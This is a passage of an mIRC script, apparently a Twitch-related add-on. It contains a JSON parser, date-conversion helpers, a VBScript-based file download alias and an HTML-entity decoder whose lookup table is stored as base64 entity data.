  2834.   jfm_badd $1 function E(s){if(s._type!=='http')throw new Error('HTTP_NOT_INUSE');if(s._state!=='http_pending')throw new Error('HTTP_NOT_PENDING');return s._http}
  2835.   jfm_badd $1 function F(s){if(s._type!=='http')throw new Error('HTTP_NOT_INUSE');if(s._state!=='done')throw new Error('HTTP_PENDING');return s._http}
  2836.   jfm_badd $1 function G(v){var t=A(v),r='[';if(v===undefined||t==='function')return;if(v===null)return'null';if(t==='number')return isFinite(v)?v.toString():'null';if(t==='boolean')return v.toString();if(t==='string')return'"'+v.replace(/[\\"\u0000-\u001F\u2028\u2029]/g,function(c){return{'"':'\\"','\\':'\\\\','\b':'\\b','\f':'\\f','\n':'\\n','\r':'\\r','\t':'\\t'}[c]||'\\u'+(c.charCodeAt(0)+0x10000).toString(16).substr(1)})+'"';if(t==='array'){v.forEach(function(i,k){i=G(i);if(i)r+=(k?',':'')+i});return r+']'}r=[];B(v).forEach(function(k,o){o=G(v[k]);if(o)r.push(G(k)+':'+o)});return'{'+r.join(',')+'}'}
  2837.   jfm_badd $1 function H(p,j,s){s=this;if(p===undefined)p={};if(j===undefined){s._isChild=!1;s._json=p._json||{}}else{s._isChild=!0;s._json=j}s._state=p._state||'init';s._type=p._type||'text';s._parse=p._parse===!1?!1:!0;s._error=p._error||!1;s._input=p._input;s._http=p._http||{method:'GET',url:'',headers:[]}}
  2838.   jfm_badd $1 H.prototype={
  2839.   jfm_badd $1 state:function(){return this._state},
  2840.   jfm_badd $1 error:function(){return this._error.message},inputType:function(){return this._type},
  2841.   jfm_badd $1 input:function(){return this._input||null},
  2842.   jfm_badd $1 httpParse:function(){return this._parse},
  2843.   jfm_badd $1 httpSetMethod:function(m){E(this).method=m},
  2844.   jfm_badd $1 httpSetHeader:function(h,v){E(this).headers.push([h,v])},
  2845.   jfm_badd $1 httpSetData:function(d){E(this).data=d},
  2846.   jfm_badd $1 httpStatus:function(){return F(this).response.status},
  2847.   jfm_badd $1 httpStatusText:function(){return F(this).response.statusText},
  2848.   jfm_badd $1 httpHeaders:function(){return F(this).response.getAllResponseHeaders()},
  2849.   jfm_badd $1 httpHeader:function(h){return F(this).response.getResponseHeader(h)},
  2850.   jfm_badd $1 httpBody:function(){return F(this).response.responseBody},
  2851.   jfm_badd $1 httpHead:function (s){return s=this,s.httpStatus()+' '+s.httpStatusText()+'\r\n'+s.httpHeaders()},
  2852.   jfm_badd $1 httpResponse:function(){return this.httpHead()+'\r\n\r\n'+this._http.response.reponseText},
  2853.   jfm_badd $1 parse:function(){var s=this,d=!0,x=!1,y=!1,r,j;s.parse=function(){throw new Error('PARSE_NOT_PENDING')};s._state='done';try{if(s._type==='http'){try{if(s._http.data==undefined){d=!1;s._http.data=null}r=new ActiveXObject(I);s._http.response=r;r.open(s._http.method,s._http.url,!1);s._http.headers.forEach(function(h){r.setRequestHeader(h[0],h[1]);if(h[0].toLowerCase()==="content-type")x=!0;if(h[0].toLowerCase()==="content-length")y=!0});if(d){if(!x)r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");if(!y){if(s._http.data==null)r.setRequestHeader("Content-Length",0);else r.setRequestHeader("Content-Length",String(s._http.data).length)}}r.send(s._http.data);if(s._parse===!1)return s;s._input=r.responseText}catch(e){e.message="HTTP: "+e.message;throw e}}j=String(s._input).replace(/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,function(c){return'\\u'+('0000'+c.charCodeAt(0).toString(16)).slice(-4)});if(!/^[\],:{}\s]*$/.test(j.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,'@').replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,']').replace(/(?:^|:|,)(?:\s*\[)+/g,'')))throw new Error("INVALID_JSON");try{j=eval('('+j+')')}catch(e){throw new Error("INVALID_JSON")}s._json={path:[],value:j};return s}catch(e){s._error=e.message;throw e}},
  2854.   jfm_badd $1 walk:function(){var s=D(this),r=s._json.value,a=Array.prototype.slice.call(arguments),f=a.shift(),p=s._json.path.slice(0),t,m,i,k;while(a.length){t=A(r);m=String(a.shift());if(t!=='array'&&t!=='object')throw new Error('ILLEGAL_REFERENCE');if(f&&/^[~=]./.test(m)){i='~'===m.charAt(0);m=m.replace(/^[~=]\x20?/,'');if(t=='object'&&i){k=B(r);if(/^\d+$/.test(m)){m=parseInt(m,10);if(m>=k.length)throw new Error('FUZZY_INDEX_NOT_FOUND');m=k[m]}else if(!C(r,m)){m=m.toLowerCase();m=k.find(function(k){return m===k.toLowerCase()});if(m==undefined)throw new Error('FUZZY_MEMBER_NOT_FOUND')}}}if(!C(r,m))throw new Error('REFERENCE_NOT_FOUND');p.push(m);r=r[m]}return new H(s,{path:p,value:r})},
  2855.   jfm_badd $1 forEach:function(){var s=D(this),a=Array.prototype.slice.call(arguments),r=[],d=a[0]?Infinity:1;a.shift();function _(i,p,j){j=new H(s,{path:p,value:i});if(d!==Infinity&&a.length>1)j=j.walk.apply(j,a.slice(0));r.push(j)}function Z(i,p,c,t){t=A(i);p=p.slice(0);if(c>d)_(i,p);else if(t==='object')B(i).forEach(function(k,z){z=p.slice(0);z.push(k);Z(i[k],z,c+1)});else if(t==='array')i.forEach(function(v,k){z=p.slice(0);z.push(k);Z(v,z,c+1)});else _(i,p)}if(s.type()!=='object'&&s.type()!=='array')throw new Error('ILLEGAL_REFERENCE');Z(s._json.value,s._json.path.slice(0),1);return r},
  2856.   jfm_badd $1 type:function(){return A(D(this)._json.value)},
  2857.   jfm_badd $1 isContainer:function(){return(this.type()==="object"||this.type()==="array")},
  2858.   jfm_badd $1 pathLength:function(){return D(this)._json.path.length},
  2859.   jfm_badd $1 pathAtIndex:function(i){return D(this)._json.path[i]},
  2860.   jfm_badd $1 path:function(){var r='';D(this)._json.path.forEach(function(i){r+=(r?' ':'')+String(i).replace(/([\\ ])/g,function(c){return' '=== c?'\s':'\\'})});return r},
  2861.   jfm_badd $1 length:function(){var s=D(this),t=s.type();if(t==='string'||t==='array')return s._json.value.length;if(t==='object')return B(s._json.value).length;throw new Error('INVALID_TYPE')},
  2862.   jfm_badd $1 value:function(){return D(this)._json.value},
  2863.   jfm_badd $1 string:function(){return G(D(this)._json.value)},
  2864.   jfm_badd $1 debug:function(){var s=this,r={state:s._state,input:s._input,type:s._type,error:s._error,parse:s._parse,http:{url:s._http.url,method:s._http.method,headers:s._http.headers,data:s._http.data},isChild:s._isChild,json:s._json};if(s._type==="http"&&s._state==="done")r.http.response={status:s._http.response.status,statusText:s._http.response.statusText,headers:(s._http.response.getAllResponseHeaders()).split(/[\r\n]+/g),responseText:s._http.response.responseText};return G(r)}};
  2865.   jfm_badd $1 JSONCreate=function(t,i,p,s){s=new H();s._state='init';s._type=(t||'text').toLowerCase();s._parse=p===!1?!1:!0;if(s._type==='http'){if(!I){s._error='HTTP_NOT_FOUND';throw new Error('HTTP_NOT_FOUND')}s._state='http_pending';s._http.url=i}else{s._state='parse_pending';s._input=i}return s}}()
  2866. }
  2867.  
  2868. ; --
  2869.  
  2870. /*
  2871.  
  2872.     # CheckDateFormat alias coded by SReject - (thanks for support) #
  2873.  
  2874. */
  2875.  
  2876. alias wmm_cdate {
  2877.   if (!$1) || (!$isid) { return 0 }
  2878.   if ($regex($1,/^(?:[^a-zA-Z0-9]*(?:oo|yy|[zmdhHnstT])+)+$/gS)) { return 1 }
  2879.   return 0
  2880.   return
  2881.   :error | wmm_werror $scriptline $error | reseterror
  2882. }
  2883.  
  2884. ; --
  2885.  
  2886. /*
  2887.     # ConvertTwitchTime alias coded by SReject - (thanks for support) #
  2888.  
  2889.     ## Official Code Link: http://pastebin.com/gTrSLpJc ##
  2890. */
  2891.  
  2892. alias wmm_convertdate {
  2893.   if (!$1) || (!$isid) { return 0 }
  2894.   if ($regex($1-, /^(\d\d(?:\d\d)?)-(\d\d)-(\d\d)T(\d\d)\:(\d\d)\:(\d\d)(?:(?:\.\d\d\d)?Z|([-+])(\d\d):(\d+)|$)/i)) {
  2895.     var %m = $gettok(January February March April May June July August September October November December, $regml(2), 32)
  2896.     var %d = $ord($base($regml(3),10,10))
  2897.     var %o = +0
  2898.     if ($regml(0) > 6) && ($regml(7) isin -+) { var %o = $regml(7) $+ $calc($regml(8) * 3600 + $regml(9)) }
  2899.     var %t = $calc($ctime(%m %d $regml(1) $regml(4) $+ : $+ $regml(5) $+ : $+ $regml(6)) - %o)
  2900.     if ($asctime(zz) !== 0 && $regex($v1, /^([+-])(\d\d)(\d+)$/)) { var %o = $regml(1) $+ $calc($regml(2) * 3600 + $regml(3)) | var %t = $calc(%t + %o ) }
  2901.     return %t
  2902.   }
  2903.   else { return 0 }
  2904.   return
  2905.   :error | wmm_werror $scriptline $error | reseterror
  2906. }
  2907.  
  2908. ; ---
  2909.  
  2910. /*
  2911.     # Download alias coded by SReject - (thanks for support) #
  2912.  
  2913.     ## Official Code Link: http://hawkee.com/snippet/9318 ##
  2914. */
  2915.  
  2916. alias wmm_download {
  2917.   if ($isid) || (!$1) || (!$2) || (!$3) { return }
  2918.   if ($1 == -c) {
  2919.     var %callback = $gettok($1-,2,34)
  2920.     var %url = $gettok($gettok($1-,3,34),1,32)
  2921.     var %file = $gettok($1-,4,34)
  2922.     var %com = $gettok($gettok($1-,5,34),1,32)
  2923.     var %r = $iif($comerr,1,$com(%com).result)
  2924.  
  2925.     if ($com(%com)) { .comclose %com }
  2926.     if (%r == -1) { %callback 1 S_OK %url $qt(%file) }
  2927.   }
  2928.   elseif ($1 !== -c) {
  2929.     var %callback = $gettok($1-,1,34)
  2930.     var %url = $gettok($gettok($1-,2,34),1,32)
  2931.     var %file = $gettok($1-,3-,34)
  2932.     var %com = wmm_download $+ $wmm_random $+ .vbs
  2933.     var %s = $wmm_temp $+ %com
  2934.     var %n = $left(%com,-4)
  2935.  
  2936.     .fopen -ox %n $qt(%s)
  2937.  
  2938.     .fwrite -n %n On Error Resume Next
  2939.     .fwrite -n %n Set args = WScript.Arguments
  2940.     .fwrite -n %n Url = $qt(%url)
  2941.     .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  2942.     .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  2943.     .fwrite -n %n xHttp.Open "GET", Url, False
  2944.     .fwrite -n %n xHttp.Send
  2945.     .fwrite -n %n with bStrm
  2946.     .fwrite -n %n    .Type = 1
  2947.     .fwrite -n %n    .Mode = 3
  2948.     .fwrite -n %n    .Open
  2949.     .fwrite -n %n    .Write xHttp.ResponseBody
  2950.     .fwrite -n %n    .SavetoFile $qt(%file) $+ , 2
  2951.     .fwrite -n %n    .Close
  2952.     .fwrite -n %n End with
  2953.     .fwrite -n %n Err.Clear
  2954.     .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile WScript.ScriptFullName, True
  2955.     .fwrite -n %n WScript.Quit(-1)
  2956.  
  2957.     .fclose %n
  2958.  
  2959.     .comopen %com WScript.Shell
  2960.     if ($lines(%s) !== 18 || $comerr || !$comcall(%com,wmm_download -c $qt(%callback) %url $qt(%file),run,1,bstr*,$qt(%s),uint,1,bool,true)) { goto error }
  2961.     return
  2962.   }
  2963.   :error
  2964.   if ($error) { wmm_werror $scriptline $error | reseterror }
  2965.   if ($com(%com)) { .comclose %com }
  2966. }
  2967.  
  2968. ; ---
  2969.  
  2970. /*
  2971.     # HTML2Ascii script by rockcavera - (thanks for support) #
  2972.  
  2973.     ## Official Code Link: http://hawkee.com/snippet/17963 ##
  2974. */
  2975.  
  2976. alias wmm_html2asc {
  2977.   if (!$isid) { return }
  2978.   if (!$hget(WMM_HTML)) {
  2979.     var %f = $wmm_temp $+ wmm_html.db
  2980.     if (!$exists(%f)) && (!$wmm_html_db) { return }
  2981.     hmake WMM_HTML 2798
  2982.     hload WMM_HTML $qt(%f)
  2983.   }
  2984.   return $regsubex(nam,$regsubex(dec,$regsubex(hex,$1,/&\x23x([a-f\d]+);/gi,$chr($base(\t,16,10))),/&\x23(\d+);/g,$chr(\t)),/&(\w+);/g,$iif($hget(WMM_HTML,$wmm_escapeht(\t)),$v1,&\t;))
  2985.   :error | wmm_werror $scriptline $error | reseterror
  2986. }
  2987.  
  2988. alias -l wmm_escapeht {
  2989.   if (!$isid) { return }
  2990.   return $lower($regsubex(esc,$1,/([A-Z])/g,:\t))
  2991. }
  2992.  
  2993. alias -l wmm_html_db {
  2994.   set -l %c bset -t &db $!calc(1 + $!bvar(&db,0))
  2995.   [ [ %c ] ] Ymlnb3RpbWVzDQriqIINCjpnc2NyDQrtkqINCjpwaQ0KzqANCjpjZnINCuKErQ0KOmVxdWFsDQriqbUNCjpvb3BmDQrtlYYNCjpvbWVnYQ0KzqkNCjpiZ3INCs6SDQo6Y2hpDQrOpw0KOmhhY2VrDQrLhw0KOmJmcg0K7ZSFDQo6ZGVsDQriiIcNCjpiY3kNCtCRDQo6ZnNjcg0K4oSxDQo6b21hY3INCsWMDQo6aWFjZ3INCs6KDQo6YWdyDQrOkQ0KOmlkaWdyDQrOqg0KOnJlDQrihJwNCmIuOnVwc2kNCu2avA0KOmFmcg0K7ZSEDQo6ZG90DQrCqA0KOmV1bWwNCsOLDQo6bm9wZg0K4oSVDQo6YWN5DQrQkA0KOmljaXJjDQrDjg0Kc2VhcnJvdw0K4oaYDQo6YW5kDQriqZMNCjpicmV2ZQ0Ky5gNCjpkc3Ryb2sNCsSQDQo6c2MNCuKqvA0KOmNhcA0K4ouSDQo6bHNoDQrihrANCjpyaWdodDpkb3duOnZlY3Rvcg0K4oeCDQpuOnJpZ2h0YXJyb3cNCuKHjw0KOmVzY3INCuKEsA0KOmdncg0KzpMNCjpvdmVyOmJhcg0K4oC+DQo6aWFjdXRlDQrDjQ0KOnhpDQrOng0KOmdmcg0K7ZSKDQo6bW9wZg0K7ZWEDQo6bGFwbGFjZXRyZg0K4oSSDQo6Z2N5DQrQkw0KYmJya3RicmsNCuKOtg0KYmxhY2tsb3plbmdlDQrip6sNCjpmZnINCu2UiQ0KOmZjeQ0K0KQNCjpkb3duOnRlZQ0K4oqkDQo6ZHNjcg0K7ZKfDQo6ZWdyDQrOlQ0KOmVmcg0K7ZSIDQo6bG9wZg0K7ZWDDQo6cHINCuKquw0KOmVjeQ0K0K0NCjplc2ltDQriqbMNCjpoY2lyYw0KxKQNCjpyaWdodDp2ZWN0b3INCuKHgA0KOmRncg0KzpQNCjpsZWZ0OnZlY3Rvcg0K4oa8DQo6ZGZyDQrtlIcNCmxtb3VzdGFjaGUNCuKOsA0KOmRjeQ0K0JQNCjpsYW5nDQrin6oNCmRvdGVxZG90DQriiZENCjpjc2NyDQrtkp4NCjprZ3INCs6aDQo6Z2cNCuKLmQ0KOm51DQrOnQ0KOmtmcg0K7ZSODQo6a29wZg0K7ZWCDQo6bm90DQriq6wNCjpsZXNzOmZ1bGw6ZXF1YWwNCuKJpg0KOmtjeQ0K0JoNCjpsdA0K4omqDQo6b3INCuKplA0KOmN1cA0K4ouTDQo6aGF0DQpeDQo6amZyDQrtlI0NCjpqY3kNCtCZDQo6bXUNCs6cDQo6YnNjcg0K4oSsDQo6aWdyDQrOmQ0KOmNyb3NzDQriqK8NCjpuZWdhdGl2ZTp0aGluOnNwYWNlDQrigIsNCjpkb3duOnRlZTphcnJvdw0K4oanDQo6YXVtbA0Kw4QNCjppZnINCuKEkQ0KOmpvcGYNCu2VgQ0KOmljeQ0K0JgNCjpsb25nOmxlZnQ6cmlnaHQ6YXJyb3cNCuKftw0KOmV0YQ0KzpcNCjpoZnINCuKEjA0KcGx1c2Npcg0K4qiiDQpjaXJjbGVkZGFzaA0K4oqdDQpyb3RpbWVzDQriqLUNCjphc2NyDQrtkpwNCnRoaWNrc2ltDQriiLwNCjpvZ3INCs6fDQo6Z3QNCuKJqw0KOmlkb3QNCsSwDQo6aW9wZg0K7ZWADQo6bGFycg0K4oaeDQo6b2ZyDQrtlJINCjpvY3kNCtCeDQo6bmdyDQrOnQ0KOmtjZWRpbA0KxLYNCjptYXANCuKkhQ0KOm5mcg0K7ZSRDQo6aW0NCuKEkQ0KOm5jeQ0K0J0NCjptZ3INCs6cDQo6ZmlsbGVkOnNtYWxsOnNxdWFyZQ0K4pe8DQpudHJpYW5nbGVyaWdodGVxDQrii60NCjpob3BmDQrihI0NCjptZnINCu2UkA0KOm5vdDp2ZXJ0aWNhbDpiYXINCuKIpA0KOmpjaXJjDQrEtA0KOm1j
  2996.   [ [ %c ] ] eQ0K0JwNCmRvd25hcnJvdw0K4oaTDQo6aW50DQriiKwNCjpsbA0K4ouYDQo6bm90Om5lc3RlZDpncmVhdGVyOmdyZWF0ZXINCuKqosy4DQo6bGdyDQrOmw0KOmlvdGENCs6ZDQo6cmlnaHQ6ZG91YmxlOmJyYWNrZXQNCuKfpw0KOmxmcg0K7ZSPDQpzcXN1YnNldA0K4oqPDQo6YXJpbmcNCsOFDQo6bGN5DQrQmw0KOmZvcjphbGwNCuKIgA0KOm9zY3INCu2Sqg0KOnRhYg0KCQ0KOnNncg0KzqMNCmNpcmNsZWRjaXJjDQriipoNCjpjb250b3VyOmludGVncmFsDQriiK4NCjpnZG90DQrEoA0KOmdvcGYNCu2Uvg0KOmxtaWRvdA0KxL8NCjpzZnINCu2Ulg0KOnNjeQ0K0KENCjpyZ3INCs6hDQpzcXN1YnNldGVxDQriipENCnRpbWVzYmFyDQriqLENCjpiYXJ2DQriq6cNCjpyZnINCuKEnA0KOnJjeQ0K0KANCjpyaG8NCs6hDQo6dmVlDQrii4ENCjpuc2NyDQrtkqkNCjpwaGkNCs6mDQo6Zm9wZg0K7ZS9DQo6cWZyDQrtlJQNCjpsb3dlcjpsZWZ0OmFycm93DQrihpkNCjpwZ3INCs6gDQo6YmV0YQ0KzpINCmV4cGVjdGF0aW9uDQrihLANCjpwZnINCu2Ukw0KOnBjeQ0K0J8NCmFuZ21zZGFoDQripq8NCjptc2NyDQrihLMNCjplbXB0eTpzbWFsbDpzcXVhcmUNCuKXuw0KOmVkb3QNCsSWDQo6ZW9wZg0K7ZS8DQo6d2ZyDQrtlJoNCjphdGlsZGUNCsODDQphbmdtc2RhYg0K4qapDQo6dDpoOm86cjpuDQrDng0KOnZmcg0K7ZSZDQphbmdtc2RhYw0K4qaqDQo6dGF1DQrOpA0KOnZjeQ0K0JINCnJlYWxpbmUNCuKEmw0KOmxzY3INCuKEkg0KOnVncg0KzqUNCmFuZ21zZGFhDQripqgNCjprYXBwYQ0KzpoNCjpvdmVyOmJyYWNlDQrij54NCjpzcXVhcmU6aW50ZXJzZWN0aW9uDQriipMNCmFuZ21zZGFmDQripq0NCjpkb3BmDQrtlLsNCjpkb3duOmFycm93OmJhcg0K4qSTDQo6b3VtbA0Kw5YNCjp1ZnINCu2UmA0KYW5nbXNkYWcNCuKmrg0KOnVjeQ0K0KMNCmFuZ21zZGFkDQripqsNCjp0Z3INCs6kDQphbmdtc2RhZQ0K4qasDQo6dGZyDQrtlJcNCjpsb25nbGVmdGFycm93DQrin7gNCjpleGlzdHMNCuKIgw0KOnRjeQ0K0KINCjprc2NyDQrtkqYNCjpjZG90DQrEig0KOmNvcGYNCuKEgg0KOmJ1bXBlcQ0K4omODQpjYXBicmN1cA0K4qmJDQo6aW9nb24NCsSuDQo6emdyDQrOlg0KOm5vdDpzcXVhcmU6c3VwZXJzZXQNCuKKkMy4DQo6c3VwDQrii5ENCjp6ZnINCuKEqA0KOnpjeQ0K0JcNCjppbWFjcg0KxKoNCjpqc2NyDQrtkqUNCjpvYWNncg0KzowNCjpib3BmDQrtlLkNCjppdW1sDQrDjw0KOnlmcg0K7ZScDQo6b2NpcmMNCsOUDQo6eWN5DQrQqw0KOnhncg0Kzp4NCjpvZ3JhdmUNCsOSDQo6aW50ZWdyYWwNCuKIqw0KOnhmcg0K7ZSbDQo6aXNjcg0K4oSQDQo6b21pY3Jvbg0Kzp8NCjphb3BmDQrtlLgNCjpkYXJyDQrihqENCjpkaWFjcml0aWNhbDpkb3VibGU6YWN1dGUNCsudDQo6aW1hZ2luYXJ5OmkNCuKFiA0KOnN1Yg0K4ouQDQo6cnNoDQrihrENCjpoc2NyDQrihIsNCjpsb25ncmlnaHRhcnJvdw0K4p+5DQpmYWxsaW5nZG90c2VxDQriiZINCjpzdW0NCuKIkQ0K
  2997.   [ [ %c ] ] OmltcGxpZXMNCuKHkg0KOnBzaQ0KzqgNCjp3c2NyDQrtkrINCjpkYXNodg0K4qukDQpsb25ncmlnaHRhcnJvdw0K4p+2DQo6Y2lyY2xlOnBsdXMNCuKKlQ0KcGx1c3NpbQ0K4qimDQo6dnNjcg0K7ZKxDQo6YWFjZ3INCs6GDQpzdXBuZQ0K4oqLDQo6dXVtbA0Kw5wNCjphY2lyYw0Kw4INCjppdWtjeQ0K0IYNCm11bHRpbWFwDQriirgNCnByc2ltDQriib4NCnVwdXBhcnJvd3MNCuKHiA0KOnNxcnQNCuKImg0KOnpldGENCs6WDQpzemxpZw0Kw58NCjpsZWZ0OnRlZQ0K4oqjDQo6dXNjcg0K7ZKwDQp1dWFycg0K4oeIDQo6bmNlZGlsDQrFhQ0KbnN1cHNldGVxDQriiokNCnNxc3VwDQriipANCjpzaG9ydDpyaWdodDphcnJvdw0K4oaSDQo6dHNjcg0K7ZKvDQp0cmlzYg0K4qeNDQo6ZG91YmxlOnVwOmFycm93DQrih5ENCm1lYXN1cmVkYW5nbGUNCuKIoQ0KeGxhcnINCuKftQ0Kc3RybnMNCsKvDQo6bGNhcm9uDQrEvQ0KOnNzY3INCu2Srg0KOmFscGhhDQrOkQ0KcnNxdW8NCuKAmQ0KdHJhZGUNCuKEog0KdXBsdXMNCuKKjg0Kb3RpbWVzYXMNCuKotg0KOnN1cGVyc2V0DQriioMNCnBsdXN0d28NCuKopw0KOmVvZ29uDQrEmA0KZXFzbGFudGxlc3MNCuKqlQ0KcnRyaWYNCuKWuA0Kc3FzdWINCuKKjw0KeGR0cmkNCuKWvQ0KOnVwc2kNCs+SDQpydHJpZQ0K4oq1DQo6ZW1hY3INCsSSDQo6cnNjcg0K4oSbDQpwbHVzYWNpcg0K4qijDQpzY246ZQ0K4qq2DQo6ZG90OmRvdA0K4oOcDQo6emRvdA0KxbsNCjp6b3BmDQrihKQNCnhvZG90DQriqIANCjpjY2lyYw0KxIgNCnVyY29ybmVyDQrijJ0NCjppZ3JhdmUNCsOMDQo6cTp1Om86dA0KIg0Kc3FzdXBzZXQNCuKKkA0Kc2hvcnRwYXJhbGxlbA0K4oilDQpsb3RpbWVzDQriqLQNCnRzaGN5DQrRmw0KOnFzY3INCu2SrA0KYm94OmQ6cg0K4pWUDQo6bGFjdXRlDQrEuQ0KOnJldmVyc2U6ZWxlbWVudA0K4oiLDQo6eW9wZg0K7ZWQDQp1dGRvdA0K4ouwDQo6cHNjcg0K7ZKrDQo6c3Rhcg0K4ouGDQo6bGFtYmRhDQrOmw0KOnhvcGYNCu2Vjw0KeGhhcnINCuKftw0KOmp1a2N5DQrQhA0KOmw6dA0KPA0KdHdpeHQNCuKJrA0KYWMNCuKIvg0KOm9kYmxhYw0KxZANCjpkb3VibGU6bG9uZzpyaWdodDphcnJvdw0K4p+5DQpnbA0K4om3DQo6b3ZlcjpicmFja2V0DQrijrQNCjpyYXJyDQrihqANCjp3b3BmDQrtlY4NCmJveDpkOmwNCuKVlw0KYWYNCuKBoQ0KZWwNCuKqmQ0KaXQNCuKBog0KdXJpbmcNCsWvDQo6dmJhcg0K4qurDQo6ZWFjZ3INCs6IDQpnZw0K4omrDQpudQ0Kzr0NCjpjbG9ja3dpc2U6Y29udG91cjppbnRlZ3JhbA0K4oiyDQo6bm90Om5lc3RlZDpsZXNzOmxlc3MNCuKqocy4DQptcA0K4oiTDQo6dm9wZg0K7ZWNDQpib3g6aDpkDQrilaYNCnJyYXJyDQrih4kNCjplY2lyYw0Kw4oNCmdlDQriiaUNCm5lYXJyb3cNCuKGlw0KdmFyc3Vwc2V0bmVxDQriiovvuIANCmRkDQrihYYNCmx0DQo8DQpvcg0K4oioDQplZw0K4qqaDQpjaGVja21hcmsNCuKckw0KdXBzaWgNCs+SDQplZQ0K4oWHDQptdQ0KzrwNCmljDQri
  2998.   [ [ %c ] ] gaMNCjpvYWN1dGUNCsOTDQpzdWJuZQ0K4oqKDQphcA0K4omIDQo6dW9wZg0K7ZWMDQp5Y2lyYw0KxbcNCmxsDQriiaoNCm5pDQriiIsNCnZydHJpDQriirMNCjpsY2VkaWwNCsS7DQpzcWN1cA0K4oqUDQo6Z2FtbWENCs6TDQo6ZXBzaWxvbg0KzpUNCm5lDQriiaANCmd0DQo+DQo6dG9wZg0K7ZWLDQo6bWVsbGludHJmDQrihLMNCnNyYXJyDQrihpINCmlpDQrihYgNCmJveDpoOnUNCuKVqQ0KaW4NCuKIiA0KbGUNCuKJpA0KOmxlZnRyaWdodGFycm93DQrih5QNCmxnDQriibYNCnN1YnNldGVxDQriioYNCjpuY2Fyb24NCsWHDQo6Z3JlYXRlcjpzbGFudDplcXVhbA0K4qm+DQo6c29wZg0K7ZWKDQo6cnVsZTpkZWxheWVkDQrip7QNCnhjaXJjDQril68NCjphb2dvbg0KxIQNCmIudGhldGFzDQrtm4kNCnNjDQriibsNCmFuZHNsb3BlDQriqZgNCnF1ZXN0DQo/DQpiLnRoZXRhdg0K7ZudDQo6YW1hY3INCsSADQo6Y29sb24NCuKItw0KOnJpZ2h0OmRvd246dmVjdG9yOmJhcg0K4qWVDQo6enNjcg0K7ZK1DQpwaQ0Kz4ANCjpyb3BmDQrihJ0NCjp5dW1sDQrFuA0KdHJpYW5nbGVsZWZ0DQril4MNCjpnY2lyYw0KxJwNCmR3YW5nbGUNCuKmpg0KOmFzc2lnbg0K4omUDQo6Zzp0DQo+DQpib3g6dTpyDQrilZoNCm52cjphcnINCuKkgw0KcG0NCsKxDQp0cmlhbmdsZXJpZ2h0DQrilrkNCmFzeW1wZXENCuKJjQ0KOm5vdDpzdWNjZWVkcw0K4oqBDQpzcWNhcA0K4oqTDQp2cHJvcA0K4oidDQo6cmFuZw0K4p+rDQo6ZDpkDQrihYUNCjp5c2NyDQrtkrQNCjpkZWx0YQ0KzpQNCjpuYWN1dGUNCsWDDQpwcg0K4om6DQo6cW9wZg0K4oSaDQpwcmltZQ0K4oCyDQo6dmVydA0K4oCWDQpubGVmdHJpZ2h0YXJyb3cNCuKGrg0KOnJpZ2h0OmNlaWxpbmcNCuKMiQ0KdXRyaWYNCuKWtA0KOnhzY3INCu2Ssw0KYm94OnY6cg0K4pWgDQo6bm90OmV4aXN0cw0K4oiEDQp4aQ0Kzr4NCjpvcGVuOmN1cmx5OnF1b3RlDQrigJgNCjpwb3BmDQrihJkNCjp1YXJyDQrihp8NCmJveDp2OmwNCuKVow0KcHJvZnN1cmYNCuKMkw0KcHJjdWUNCuKJvA0KcngNCuKEng0Kd3INCuKJgA0Kd3ANCuKEmA0KYm94OnY6aA0K4pWsDQpzdGFyZg0K4piFDQpiaWd3ZWRnZQ0K4ouADQpsOmUNCuKJpg0KcHJuYXANCuKquQ0Kc3dhcnINCuKGmQ0KOnVwOmFycm93OmRvd246YXJyb3cNCuKHhQ0KdXJ0cmkNCuKXuQ0KYm94OnU6bA0K4pWdDQpoYXJyY2lyDQripYgNCnNoYXJwDQrima8NCnVkaGFyDQripa4NCjpsZWZ0YXJyb3cNCuKHkA0Kc2JxdW8NCuKAmg0KdWRhcnINCuKHhQ0KOnNxdWFyZTpzdWJzZXQ6ZXF1YWwNCuKKkQ0KOnljaXJjDQrFtg0Kbm90aW46ZQ0K4ou5zLgNCndlZGdlDQriiKcNCnJoYXJkDQrih4ENCjpsc3Ryb2sNCsWBDQpyYXJyYg0K4oelDQo6ZG93bjpsZWZ0OnJpZ2h0OnZlY3Rvcg0K4qWQDQpyYXJyYw0K4qSzDQpyb2FuZw0K4p+tDQp2ZWVlcQ0K4omaDQp1ZGlncg0Kz4sNCnVhY2dyDQrPjQ0KOmFhY3V0ZQ0Kw4ENCnJhcXVvDQrCuw0KdWNpcmMNCsO7DQp2YXJzaWdtYQ0Kz4IN
  2999.   [ [ %c ] ] CnVsdHJpDQril7gNCnBydXJlbA0K4oqwDQpzdXBzdXANCuKrlg0KbGVmdGxlZnRhcnJvd3MNCuKHhw0KdHJpYW5nbGVkb3duDQrilr8NCm86cw0K4pOIDQpyYXJydw0K4oadDQp3cmVhdGgNCuKJgA0KcmhhcnUNCuKHgA0Kc2ltbmUNCuKJhg0KeHV0cmkNCuKWsw0Kc2ltZXENCuKJgw0KcHJuOmUNCuKqtQ0Kc2V0bW4NCuKIlg0Kc3Vwc3ViDQriq5QNCjp1YXJyb2Npcg0K4qWJDQo6bmV3OmxpbmUNCg0Kc3N0YXJmDQrii4YNCnJlYWxwYXJ0DQrihJwNCnJkcXVvDQrigJ0NCnNtaWxlDQrijKMNCnN1YjplDQriq4UNCnNsYXJyDQrihpANCjpwcmltZQ0K4oCzDQo6ZWdyYXZlDQrDiA0KOmdicmV2ZQ0KxJ4NCmc6ZQ0K4omnDQpwaXRjaGZvcmsNCuKLlA0KOmRvdWJsZTpkb3duOmFycm93DQrih5MNCnBob25lDQrimI4NCnJhdGlvDQriiLYNCnZuc3VwDQriioPig5INCjpkb3duOmJyZXZlDQrMkQ0KdXJjcm9wDQrijI4NCnBhcnNsDQriq70NCnJvYXJyDQrih74NCnZkYXNoDQriiqINCnN1cHNldA0K4oqDDQpyYnJrZQ0K4qaMDQp3Y2lyYw0KxbUNCnN1cHNpbQ0K4quIDQo6ZXF1YWw6dGls